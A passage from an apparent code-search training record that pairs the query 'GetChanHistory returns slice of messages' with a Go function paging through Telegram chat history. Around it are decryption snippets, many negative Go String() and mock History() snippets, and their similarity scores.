!= nil {\n\t\treturn nil, fmt.Errorf(\"decrypt cipher: %w\", err)\n\t}\n\n\treturn pt, nil\n}", "func Decrypt(cipher, key string, rfc ...string) (raw string, err error) {\n\tif len(key) != keyLength {\n\t\terr = fmt.Errorf(\"provided key does not satisfy the key length of 64 chars\")\n\t\treturn\n\t}\n\n\tencrypted, err := in(cipher, rfc)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn decrypt(encrypted, key)\n}", "func decrypt(ciphertext []byte, associatedData []byte) ([]byte, error) {\n\tvar (\n\t\talgorithm [1]byte\n\t\tiv [16]byte\n\t\tnonce [12]byte // This depends on the AEAD but both used ciphers have the same nonce length.\n\t)\n\n\tr := bytes.NewReader(ciphertext)\n\tif _, err := io.ReadFull(r, algorithm[:]); err != nil {\n\t\treturn nil, err\n\t}\n\tif _, err := io.ReadFull(r, iv[:]); err != nil {\n\t\treturn nil, err\n\t}\n\tif _, err := io.ReadFull(r, nonce[:]); err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar aead cipher.AEAD\n\tswitch algorithm[0] {\n\tcase aesGcm:\n\t\tmac := hmac.New(sha256.New, derivedKey)\n\t\tmac.Write(iv[:])\n\t\tsealingKey := mac.Sum(nil)\n\t\tblock, err := aes.NewCipher(sealingKey[:])\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\taead, err = cipher.NewGCM(block)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\tcase c20p1305:\n\t\tsealingKey, err := chacha20.HChaCha20(derivedKey, iv[:]) // HChaCha20 expects nonce of 16 bytes\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\taead, err = chacha20poly1305.New(sealingKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"invalid algorithm: %v\", algorithm)\n\t}\n\n\tif len(nonce) != aead.NonceSize() {\n\t\treturn nil, fmt.Errorf(\"invalid nonce size %d, expected %d\", len(nonce), aead.NonceSize())\n\t}\n\n\tsealedBytes, err := ioutil.ReadAll(r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tplaintext, err := aead.Open(nil, nonce[:], sealedBytes, associatedData)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn plaintext, nil\n}" ]
[ "0.8003317", "0.74388397", "0.6872239", "0.6839808", "0.6765011", "0.67559594", "0.6747878", "0.67446476", "0.67008907", "0.6616169", "0.655827", "0.6517725", "0.6478747", "0.6392757", "0.63903934", "0.6389611", "0.63863766", "0.63661957", "0.6324007", "0.6303194", "0.63026655", "0.62969637", "0.62721664", "0.6250321", "0.6209958", "0.6182178", "0.61753327", "0.61631095", "0.6145853", "0.6136284", "0.60842276", "0.6079096", "0.6062934", "0.6049254", "0.6017081", "0.60169756", "0.59759724", "0.5973188", "0.596355", "0.5951646", "0.59503883", "0.5943227", "0.593674", "0.5930613", "0.5920243", "0.59194636", "0.591223", "0.5906762", "0.58999735", "0.58970326", "0.5859163", "0.5846074", "0.58421916", "0.58330715", "0.5829477", "0.58247274", "0.582305", "0.58154815", "0.58121985", "0.5798671", "0.5796776", "0.57941747", "0.57666534", "0.57665867", "0.57484984", "0.57313275", "0.5722201", "0.57068783", "0.5699922", "0.5696549", "0.568456", "0.5681969", "0.5673563", "0.5671658", "0.56666464", "0.56625676", "0.56554466", "0.5643213", "0.56131005", "0.5603205", "0.5597071", "0.5596713", "0.558882", "0.55791897", "0.5576986", "0.55595857", "0.5539314", "0.5536219", "0.55287635", "0.5523104", "0.55125684", "0.5500209", "0.54992396", "0.5496515", "0.5495084", "0.5493068", "0.549233", "0.5482791", "0.5479741", "0.54759943" ]
0.79779905
1
String satisfies the stringer interface.
func (v passPhraseVault) String() string { return fmt.Sprintf("passwd://%s", v.passPhrase) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (s simpleString) String() string { return string(s) }", "func (self StringEqualer) String() string {\n\treturn fmt.Sprintf(\"%s\", self.S)\n}", "func (e Str) String() string {\n\treturn fmt.Sprintf(\"%v\", e)\n}", "func (ms MyString) String() string {\n\treturn fmt.Sprintf(\"%s (%d)\", ms.str, ms.age)\n}", "func (s *S) String() string {\n\treturn fmt.Sprintf(\"%s\", s) // Sprintf will call s.String()\n}", "func (s *String) String() string {\n\treturn fmt.Sprintf(\"%d, %s\", s.Length, s.Get())\n}", "func (l settableString) String() string { return l.s }", "func (s *String) String() string {\n\tj, err := json.Marshal(string(s.s))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn string(j)\n}", "func (sf *String) String() string {\n\treturn sf.Value\n}", "func (v String) String() string {\n\treturn v.v\n}", "func (sk StringKey) String() string {\n\treturn fmt.Sprintf(\"StringKey{%s, str:%q}\", sk.Base.String(), sk.str)\n}", "func (s *StringStep) String() string {\n\treturn string(*s)\n}", "func String(v interface{}) string {\n\treturn StringWithOptions(v, nil)\n}", "func (s *Str) String() string {\n\treturn s.val\n}", "func (n Name) String() string {\n\treturn string(n)\n}", "func (n Name) String() string {\n\treturn string(n)\n}", "func String(s string, err error) string {\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\n\treturn s\n}", "func (s *LenString) String() string {\n\tif s == nil {\n\t\treturn \"<nil>\"\n\t}\n\treturn s.str\n}", "func (s *strslice) String() string {\n\treturn fmt.Sprintf(\"%s\", *s)\n}", "func (s NullString) String() string {\n\tif !s.s.Valid {\n\t\treturn \"\"\n\t}\n\treturn s.s.String\n}", "func (s StringReference) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (g Name) String() string {\n\treturn string(g)\n}", "func (s StringEntry) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (str JString) String() string {\n\ts, err := str.StringRaw()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn s\n}", "func (r StringBoundedStrictly) String() string { return StringBounded(r).String() }", "func String(v interface{}) string {\n\treturn v.(string)\n}", "func (s Sign) Str() string { return string(s[:]) }", "func (p person) String() string {\n\treturn fmt.Sprintf(\"The number is %d, and the name is %s\", p.num, p.name)\n}", "func (jz *Jzon) String() (s string, err error) {\n\tif jz.Type != JzTypeStr {\n\t\treturn s, expectTypeOf(JzTypeStr, jz.Type)\n\t}\n\n\treturn jz.data.(string), nil\n}", "func String(s string, width uint) string {\n\treturn StringWithTail(s, width, \"\")\n}", "func (s Standard) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s *StringValue) String() string {\n\treturn fmt.Sprintf(\"%s\", *s)\n}", "func (t Transformer) String(s string) string {\n\ts, _, err := transform.String(t, s)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\treturn s\n}", "func (s *OptionalString) String() string {\n\treturn s.Value\n}", "func (n name) String() string {\n\treturn fmt.Sprintf(n.Name)\n}", "func (s CreateFHIRDatastoreOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s *fakeString) String() string {\n\treturn s.content\n}", "func (s String) ToString() string {\n\treturn string(s)\n}", "func (s *Segment) String() string {\n\treturn fmt.Sprintf(\"%p = %s\", s, s.SimpleString())\n}", "func (enc *simpleEncoding) String() string {\n\treturn \"simpleEncoding(\" + enc.baseName + \")\"\n}", "func (n SStr) ToStr() string {\n\treturn string(n)\n}", "func String(length int) string {\n\treturn StringWithCharset(length, charset)\n}", "func (s Subject) String() string {\n\treturn fmt.Sprintf(\"%s, %s, %s\", s.AuthenticationInfo, s.AuthorizationInfo, s.Session)\n}", "func String(i I) string {\n\tswitch v := i.(type) {\n\tcase nil:\n\t\treturn \"\"\n\tcase bool:\n\t\treturn StringBool(v)\n\tcase Bytes:\n\t\treturn StringBytes(v)\n\tcase Dict:\n\t\treturn StringDict(v)\n\tcase error:\n\t\treturn `error: \"` + v.Error() + `\"`\n\tcase float64:\n\t\treturn StringF64(v)\n\tcase int:\n\t\treturn StringInt(v)\n\tcase uint:\n\t\treturn StringUint(v)\n\tcase int64:\n\t\treturn StringI64(v)\n\tcase uint64:\n\t\treturn StringUI64(v)\n\tcase Map:\n\t\treturn StringMap(v)\n\tcase Slice:\n\t\treturn StringSlice(v)\n\tcase string:\n\t\treturn v\n\tcase Stringer:\n\t\treturn v.String()\n\tdefault:\n\t\treturn fmt.Sprint(i)\n\t}\n}", "func (c identifier) String() string {\n\treturn string(c)\n}", "func String(length int) string {\n\treturn StringWithCharset(length, Charset)\n}", "func (s SequencerData) String() string {\n\treturn fmt.Sprintf(\"%T len %v\", s, s.Len())\n}", "func (s DescribeFHIRDatastoreOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (e *Engine) String(s string) Renderer {\n\treturn String(s)\n}", "func (id UUID) String() string {\n\tvar buf [StringMaxLen]byte\n\tn := id.EncodeString(buf[:])\n\treturn string(buf[n:])\n}", "func String(str string) Val { return Val{t: bsontype.String}.writestring(str) }", "func (s DeleteTrialComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s DeleteFHIRDatastoreOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s CreateTrialComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s UseCase) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (n NamespacedName) String() string {\n\treturn fmt.Sprintf(\"%s%c%s\", n.Namespace, Separator, n.Name)\n}", "func (p *Profile) String(s string) (string, error) {\n\treturn processString(p, s, false)\n}", "func (p stringProperty) String() string {\n\tv, err := p.Value()\n\tif err != nil {\n\t\treturn fmt.Sprintf(\"invalid %v: %v\", p.name, err)\n\t}\n\treturn fmt.Sprintf(\"%v=%v\", p.name, v)\n}", "func (s DeleteRoomOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s DeleteComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (p *PN) String() string {\n\t// find the right slice length first to efficiently allot a []string\n\tsegs := make([]string, 0, p.sliceReq())\n\treturn strings.Join(p.string(\"\", segs), \"\")\n}", "func (r *Rope) String() string {\n\treturn r.Substr(0, r.runes)\n}", "func (s ImportComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s ReEncryptOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (js jsonString) string() (s string, err error) {\n\terr = json.Unmarshal(js.bytes(), &s)\n\treturn s, err\n}", "func (ctx *Context) String(str string) {\n\tfmt.Fprintf(ctx.writer, \"%s\", str)\n}", "func (s *fakeString) Stringer() string {\n\treturn s.content\n}", "func (s PlainTextMessage) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (v *IntString) String() string {\n\treturn string(*v)\n}", "func (ps *PrjnStru) String() string {\n\tstr := \"\"\n\tif ps.Recv == nil {\n\t\tstr += \"recv=nil; \"\n\t} else {\n\t\tstr += ps.Recv.Name() + \" <- \"\n\t}\n\tif ps.Send == nil {\n\t\tstr += \"send=nil\"\n\t} else {\n\t\tstr += ps.Send.Name()\n\t}\n\tif ps.Pat == nil {\n\t\tstr += \" Pat=nil\"\n\t} else {\n\t\tstr += \" Pat=\" + ps.Pat.Name()\n\t}\n\treturn str\n}", "func (id ID) String() string {\n\ttext := make([]byte, encodedLen)\n\tencode(text, id[:])\n\treturn *(*string)(unsafe.Pointer(&text))\n}", "func (s ResolveRoomOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (id SoldierID) String() string {\n\treturn fmt.Sprintf(\"%s (%s)\", id.Name, id.Faction)\n}", "func (g *Generic) String() string {\n\tparamStr := make([]string, len(g.Params))\n\tfor i, pr := range g.Params {\n\t\tparamStr[i] = pr.String()\n\t}\n\n\treturn fmt.Sprintf(\"{Header: %s, Params: %s}\",\n\t\tg.Header.String(),\n\t\tparamStr,\n\t)\n}", "func (m Interface) String() string {\n\treturn StringRemoveGoPath(m.Name)\n}", "func (sr *StringResult) String() (string, error) {\n\treturn redis.String(sr.val, nil)\n}", "func (i *IE) String() string {\n\tif i == nil {\n\t\treturn \"nil\"\n\t}\n\treturn fmt.Sprintf(\"{%s: {Type: %d, Length: %d, Payload: %#v}}\",\n\t\ti.Name(),\n\t\ti.Type,\n\t\ti.Length,\n\t\ti.Payload,\n\t)\n}", "func (s DescribeTrialComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s VerbatimString) String() string { return _verbatimString(s).String() }", "func (s Component) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (chars *Chars) String() string {\n\treturn fmt.Sprintf(\"Chars{slice: []byte(%q), inBytes: %v, trimLengthKnown: %v, trimLength: %d, Index: %d}\", chars.slice, chars.inBytes, chars.trimLengthKnown, chars.trimLength, chars.Index)\n}", "func (s TrialComponent) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s CreateComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s GetComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (sid *Shortid) String() string {\n\treturn fmt.Sprintf(\"Shortid(worker=%v, epoch=%v, abc=%v)\", sid.worker, sid.epoch, sid.abc)\n}", "func (s SafeID) String() string {\n\treturn platform.ID(s).String()\n}", "func (s UpdateTrialComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (b *Basic) String() string {\n\tb.mux.RLock()\n\tdefer b.mux.RUnlock()\n\n\tif b.name != \"\" {\n\t\treturn b.name\n\t}\n\treturn fmt.Sprintf(\"%T\", b.target)\n}", "func (s AssociateTrialComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s StringFilter) String() string {\n\treturn awsutil.Prettify(s)\n}", "func String(value interface{}) (string, error) {\n\tif value == nil {\n\t\treturn \"\", nil\n\t}\n\tswitch value.(type) {\n\tcase bool:\n\t\tif value.(bool) {\n\t\t\treturn \"true\", nil\n\t\t} else {\n\t\t\treturn \"false\", nil\n\t\t}\n\tcase string:\n\t\treturn value.(string), nil\n\tcase *big.Rat:\n\t\treturn strings.TrimSuffix(strings.TrimRight(value.(*big.Rat).FloatString(20), \"0\"), \".\"), nil\n\tcase time.Time:\n\t\tt := value.(time.Time)\n\t\tif t.Location().String() == \"DATE\" {\n\t\t\treturn t.Format(FORMAT_DATE), nil\n\t\t} else if t.Location().String() == \"TIME\" {\n\t\t\treturn t.Format(FORMAT_TIME), nil\n\t\t} else {\n\t\t\treturn t.Format(FORMAT_DATETIME), nil\n\t\t}\n\t}\n\treturn \"\", errors.New(fmt.Sprint(\"cannot convert to a string: \", value))\n}", "func (s ResourceIdentifier) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (p prefix) String() string {\n\tpStr := string(p)\n\tswitch pStr {\n\tcase string(SimpleStringPrefix):\n\t\treturn \"simple-string\"\n\tcase string(ErrorPrefix):\n\t\treturn \"error\"\n\tcase string(IntPrefix):\n\t\treturn \"integer\"\n\tcase string(BulkStringPrefix):\n\t\treturn \"bulk-string\"\n\tcase string(ArrayPrefix):\n\t\treturn \"array\"\n\tdefault:\n\t\treturn pStr\n\t}\n}", "func (s InternalServerError) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s CreateDomainNameOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (w *Writer) String(s string) {\n\tw.RawByte('\"')\n\tw.StringContents(s)\n\tw.RawByte('\"')\n}", "func (s RenderingEngine) String() string {\n\treturn awsutil.Prettify(s)\n}", "func String(length int) string {\n\treturn StringWithCharset(length, alphanumericCharset)\n}", "func (s RetryStrategy) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (msg *Message) String() string {\n\treturn msg.Render()\n}", "func (s RegisterUsageOutput) String() string {\n\treturn awsutil.Prettify(s)\n}" ]
[ "0.7853726", "0.77518994", "0.7688146", "0.756382", "0.7521328", "0.7520502", "0.74145335", "0.73440784", "0.73014796", "0.71584713", "0.71556544", "0.7147776", "0.7126503", "0.70750916", "0.7000625", "0.7000625", "0.6992527", "0.69632035", "0.6949243", "0.6943282", "0.69302744", "0.690064", "0.68910754", "0.6872544", "0.6848287", "0.6844345", "0.6834059", "0.68129736", "0.68097544", "0.6809571", "0.6804297", "0.68010294", "0.67980534", "0.6792972", "0.67800266", "0.67782044", "0.6776759", "0.6769936", "0.67697763", "0.6769661", "0.6743876", "0.67401737", "0.67360085", "0.6731387", "0.67207927", "0.6720505", "0.6686774", "0.6677096", "0.66617554", "0.66612864", "0.66578686", "0.6655702", "0.66519123", "0.66497415", "0.66455126", "0.66405934", "0.66309637", "0.6630567", "0.6625883", "0.66221195", "0.6620284", "0.6614817", "0.6614695", "0.65982366", "0.6596912", "0.6596167", "0.65937614", "0.65927607", "0.6590838", "0.65888935", "0.658695", "0.6585364", "0.6583313", "0.65825295", "0.6582098", "0.6582038", "0.6579811", "0.6577627", "0.65754765", "0.65753376", "0.6567774", "0.6566373", "0.6561102", "0.65549415", "0.6548013", "0.6545851", "0.65452117", "0.65430117", "0.65423536", "0.6541698", "0.65387875", "0.653802", "0.65324974", "0.6532074", "0.65317184", "0.6527913", "0.65251255", "0.6521162", "0.6514712", "0.65100354", "0.650805" ]
0.0
-1
GetChanHistory returns slice of messages
func GetChanHistory(tdlibClient *client.Client, chatID int64, fromMessageID int64, toMessageID int64) (messages []*client.Message) { var totalMessages int messagesSet := make(map[int]*client.Message) totalLimit := 99999999999 // Read first message (newest) separetely, because messageReading does not return exactly message - fromMessageId if fromMessageID != 0 { lastMessage, err := tdlibClient.GetMessage(&client.GetMessageRequest{ChatId: chatID, MessageId: fromMessageID}) checkError(err, "Getting chan history") messagesSet[int(lastMessage.Id)] = lastMessage } messageReading: for { fmt.Println("Retriving messages from ", fromMessageID, "..") chanHistory, err := tdlibClient.GetChatHistory(&client.GetChatHistoryRequest{ ChatId: chatID, Limit: 100, OnlyLocal: false, FromMessageId: fromMessageID, }) checkError(err, "Getting chan history") if chanHistory.TotalCount == 0 { break } for _, m := range chanHistory.Messages { if totalLimit > 0 && totalMessages >= totalLimit { break messageReading } // Read to needed MessageID if toMessageID == m.Id { break messageReading } totalMessages++ // Read next set of messages fromMessageID = m.Id messagesSet[int(m.Id)] = m } } messagesIDsSorted := make([]int, 0, len(messagesSet)) for k := range messagesSet { messagesIDsSorted = append(messagesIDsSorted, k) } sort.Ints(messagesIDsSorted) for _, i := range messagesIDsSorted { messages = append(messages, messagesSet[i]) } return }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func History(ctx context.Context, channelName string) ([]*types.Message, error) {\n\tchannel := getChannel(channelName)\n\tmessages := messagesFromHistory(channel.History)\n\n\treturn messages, nil\n}", "func (e *TarantoolEngine) history(chID ChannelID) (msgs []Message, err error) {\n\tconn, err := e.pool.get()\n\tif err != nil {\n\t\tlogger.ERROR.Printf(\"history tarantool pool error: %v\\n\", err.Error())\n\t\treturn nil, err\n\t}\n\n\thistory, err := conn.Call(\"notification_channel_history\", []interface{}{chID})\n\tif err != nil {\n\t\tlogger.ERROR.Printf(\"history error: %v\\n\", err.Error())\n\t\treturn nil, err\n\t}\n\n\treturn processHistory(history)\n}", "func (f *ConnSendFunc) History() []ConnSendFuncCall {\n\treturn f.history\n}", "func (d *Discord) MessageHistory(channel string) []Message {\n\tc, err := d.Channel(channel)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\tmessages := make([]Message, len(c.Messages))\n\tfor i := 0; i < len(c.Messages); i++ {\n\t\tmessages[i] = &DiscordMessage{\n\t\t\tDiscord: d,\n\t\t\tDiscordgoMessage: c.Messages[i],\n\t\t\tMessageType: MessageTypeCreate,\n\t\t}\n\t}\n\n\treturn messages\n}", "func (h *MethodCallHistory) GetHistory() []*MethodCall {\n\tdefer h.RUnlock()\n\th.RLock()\n\treturn h.history\n}", "func messagesFromHistory(history *tailbuf.TailBuf) []*types.Message {\n\tdata := history.Read()\n\tresult := make([]*types.Message, len(data))\n\n\tfor i, value := range data {\n\t\tresult[i] = value.(*types.Message)\n\t}\n\n\treturn result\n}", "func (c Clipboard) GetHistory() ([]string, error) {\n\titems, err := c.Storage.GetHistory(c.HistorySize)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn items, nil\n}", "func (p *RestPresence) History(params *PaginateParams) (*PaginatedResult, error) {\n\tpath := \"/channels/\" + p.channel.uriName + \"/presence/history\"\n\treturn newPaginatedResult(presMsgType, path, params, query(p.client.get), p.logger())\n}", "func (s *Client) GetHistory(username string) (*sessions.History, error) {\n\tdata := &sessions.History{\n\t\tInput: []string{},\n\t\tReply: []string{},\n\t}\n\n\tfor i := 0; i < sessions.HistorySize; i++ {\n\t\tdata.Input = append(data.Input, \"undefined\")\n\t\tdata.Reply = append(data.Reply, \"undefined\")\n\t}\n\n\trows, err := s.db.Query(\"SELECT input,reply FROM history WHERE user_id = (SELECT id FROM users WHERE username = ?) ORDER BY timestamp ASC LIMIT 10;\", username)\n\tif err != nil {\n\t\treturn data, err\n\t}\n\tdefer rows.Close()\n\tfor rows.Next() {\n\t\tvar input, reply string\n\t\terr := rows.Scan(&input, &reply)\n\t\tif err != nil {\n\t\t\tlog.Println(\"[ERROR]\", err)\n\t\t\tcontinue\n\t\t}\n\t\tdata.Input = data.Input[:len(data.Input)-1] // Pop\n\t\tdata.Input = append([]string{strings.TrimSpace(input)}, data.Input...) // Unshift\n\t\tdata.Reply = data.Reply[:len(data.Reply)-1] // Pop\n\t\tdata.Reply = append([]string{strings.TrimSpace(reply)}, data.Reply...) // Unshift\n\n\t}\n\n\treturn data, nil\n}", "func (f *UploadServiceGetCommitGraphMetadataFunc) History() []UploadServiceGetCommitGraphMetadataFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]UploadServiceGetCommitGraphMetadataFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func GetHistory(store Store, datatype, realm, user, id string, r *http.Request) (*cpb.History, int, error) {\n\thlist := make([]proto.Message, 0)\n\tif err := store.ReadHistory(datatype, realm, user, id, &hlist); err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\t// TODO: perhaps this should be the empty list?\n\t\t\treturn nil, http.StatusBadRequest, fmt.Errorf(\"no config history available\")\n\t\t}\n\t\treturn nil, http.StatusBadRequest, fmt.Errorf(\"service storage unavailable: %v, retry later\", err)\n\t}\n\the := make([]*cpb.HistoryEntry, len(hlist))\n\tvar ok bool\n\tfor i, e := range hlist {\n\t\the[i], ok = e.(*cpb.HistoryEntry)\n\t\tif !ok {\n\t\t\treturn nil, http.StatusInternalServerError, fmt.Errorf(\"cannot load history entry %d\", i)\n\t\t}\n\t}\n\thistory := &cpb.History{\n\t\tHistory: he,\n\t}\n\tpageToken := r.URL.Query().Get(\"pageToken\")\n\tstart, err := strconv.ParseInt(pageToken, 10, 64)\n\tif err != nil {\n\t\tstart = 0\n\t}\n\n\tpageSize := r.URL.Query().Get(\"pageSize\")\n\tsize, err := strconv.ParseInt(pageSize, 10, 64)\n\tif err != nil || size < 1 {\n\t\tsize = 50\n\t}\n\tif size > 1000 {\n\t\tsize = 1000\n\t}\n\t// Reverse order\n\ta := history.History\n\tfor i := len(a)/2 - 1; i >= 0; i-- {\n\t\topp := len(a) - 1 - i\n\t\ta[i], a[opp] = a[opp], a[i]\n\t}\n\n\tfor i, entry := range history.History {\n\t\tif entry.Revision <= start {\n\t\t\thistory.History = history.History[i:]\n\t\t\tbreak\n\t\t}\n\t}\n\tif len(history.History) > int(size) {\n\t\thistory.NextPageToken = fmt.Sprintf(\"%d\", history.History[size].Revision)\n\t\thistory.History = history.History[:size]\n\t}\n\treturn history, http.StatusOK, nil\n}", "func (cc CoinCap) GetHistory(baseID, interval string, timeFrom, timeTo int64) (history []CCHistoryItem, err error) {\n\tbaseID = strings.ToLower(strings.Join(strings.Split(baseID, \" \"), \"-\"))\n\turl := fmt.Sprintf(\"%s/assets/%s/history?interval=%s&start=%d&end=%d\",\n\t\tcc.BaseURL, baseID, interval, timeFrom, timeTo)\n\tresponse, err := http.Get(url)\n\tif err != nil {\n\t\treturn\n\t}\n\tresult := struct {\n\t\tError string `json:\"error\"`\n\t\tData []CCHistoryItem `json:\"Data\"`\n\t}{}\n\terr = json.NewDecoder(response.Body).Decode(&result)\n\tif err != nil {\n\t\treturn\n\t}\n\tif result.Error != \"\" {\n\t\terr = errors.New(result.Error)\n\t\treturn\n\t}\n\thistory = result.Data\n\treturn\n}", "func (f *ExtensionStoreGetPublisherFunc) History() []ExtensionStoreGetPublisherFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ExtensionStoreGetPublisherFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ExtensionStoreGetByUUIDFunc) History() []ExtensionStoreGetByUUIDFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ExtensionStoreGetByUUIDFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ResolverUploadConnectionResolverFunc) History() []ResolverUploadConnectionResolverFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ResolverUploadConnectionResolverFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (c *Client) GetHistory(project string) (Events, error) {\n\tu := make(map[string]string)\n\tu[\"project\"] = project\n\tvar data Events\n\tvar res []byte\n\tif err := c.Get(&res, \"history\", u); err != nil {\n\t\treturn data, err\n\t}\n\txmlErr := xml.Unmarshal(res, &data)\n\treturn data, xmlErr\n}", "func (s *SlackService) GetMessages(channel interface{}, count int) []string {\n\t// https://api.slack.com/methods/channels.history\n\thistoryParams := slack.HistoryParameters{\n\t\tCount: count,\n\t\tInclusive: false,\n\t\tUnreads: false,\n\t}\n\n\t// https://godoc.org/github.com/nlopes/slack#History\n\thistory := new(slack.History)\n\tvar err error\n\tswitch chnType := channel.(type) {\n\tcase slack.Channel:\n\t\thistory, err = s.Client.GetChannelHistory(chnType.ID, historyParams)\n\t\tif err != nil {\n\t\t\tlog.Fatal(err) // FIXME\n\t\t}\n\tcase slack.Group:\n\t\thistory, err = s.Client.GetGroupHistory(chnType.ID, historyParams)\n\t\tif err != nil {\n\t\t\tlog.Fatal(err) // FIXME\n\t\t}\n\tcase slack.IM:\n\t\thistory, err = s.Client.GetIMHistory(chnType.ID, historyParams)\n\t\tif err != nil {\n\t\t\tlog.Fatal(err) // FIXME\n\t\t}\n\t}\n\n\t// Construct the messages\n\tvar messages []string\n\tfor _, message := range history.Messages {\n\t\tmsg := s.CreateMessage(message)\n\t\tmessages = append(messages, msg...)\n\t}\n\n\t// Reverse the order of the messages, we want the newest in\n\t// the last place\n\tvar messagesReversed []string\n\tfor i := len(messages) - 1; i >= 0; i-- {\n\t\tmessagesReversed = append(messagesReversed, messages[i])\n\t}\n\n\treturn messagesReversed\n}", "func (s *Client) GetHistory(ctx context.Context, scripthash string) ([]*GetMempoolResult, error) {\n\tvar resp GetMempoolResp\n\n\terr := s.request(ctx, \"blockchain.scripthash.get_history\", []interface{}{scripthash}, &resp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn resp.Result, err\n}", "func (f *ResolverIndexConnectionResolverFunc) History() []ResolverIndexConnectionResolverFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ResolverIndexConnectionResolverFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ReleaseStoreGetLatestFunc) History() []ReleaseStoreGetLatestFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ReleaseStoreGetLatestFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *UploadServiceGetUploadsFunc) History() []UploadServiceGetUploadsFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]UploadServiceGetUploadsFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *UploadServiceGetUploadsByIDsFunc) History() []UploadServiceGetUploadsByIDsFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]UploadServiceGetUploadsByIDsFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ReleaseStoreTransactFunc) History() []ReleaseStoreTransactFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]ReleaseStoreTransactFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *DBStoreCommitsVisibleToUploadFunc) History() []DBStoreCommitsVisibleToUploadFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]DBStoreCommitsVisibleToUploadFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *DBStoreStaleSourcedCommitsFunc) History() []DBStoreStaleSourcedCommitsFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]DBStoreStaleSourcedCommitsFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *DBStoreGetUploadsFunc) History() []DBStoreGetUploadsFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]DBStoreGetUploadsFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *DBStoreGetUploadsFunc) History() []DBStoreGetUploadsFuncCall {\n\tf.mutex.Lock()\n\thistory := make([]DBStoreGetUploadsFuncCall, len(f.history))\n\tcopy(history, f.history)\n\tf.mutex.Unlock()\n\n\treturn history\n}", "func (f *ConnDoFunc) History() []ConnDoFuncCall {\n\treturn f.history\n}", "func (f *ReleaseStoreGetLatestBatchFunc) History() []ReleaseStoreGetLatestBatchFuncCall {\n\tf.mutex.Lock()\n\thistory := 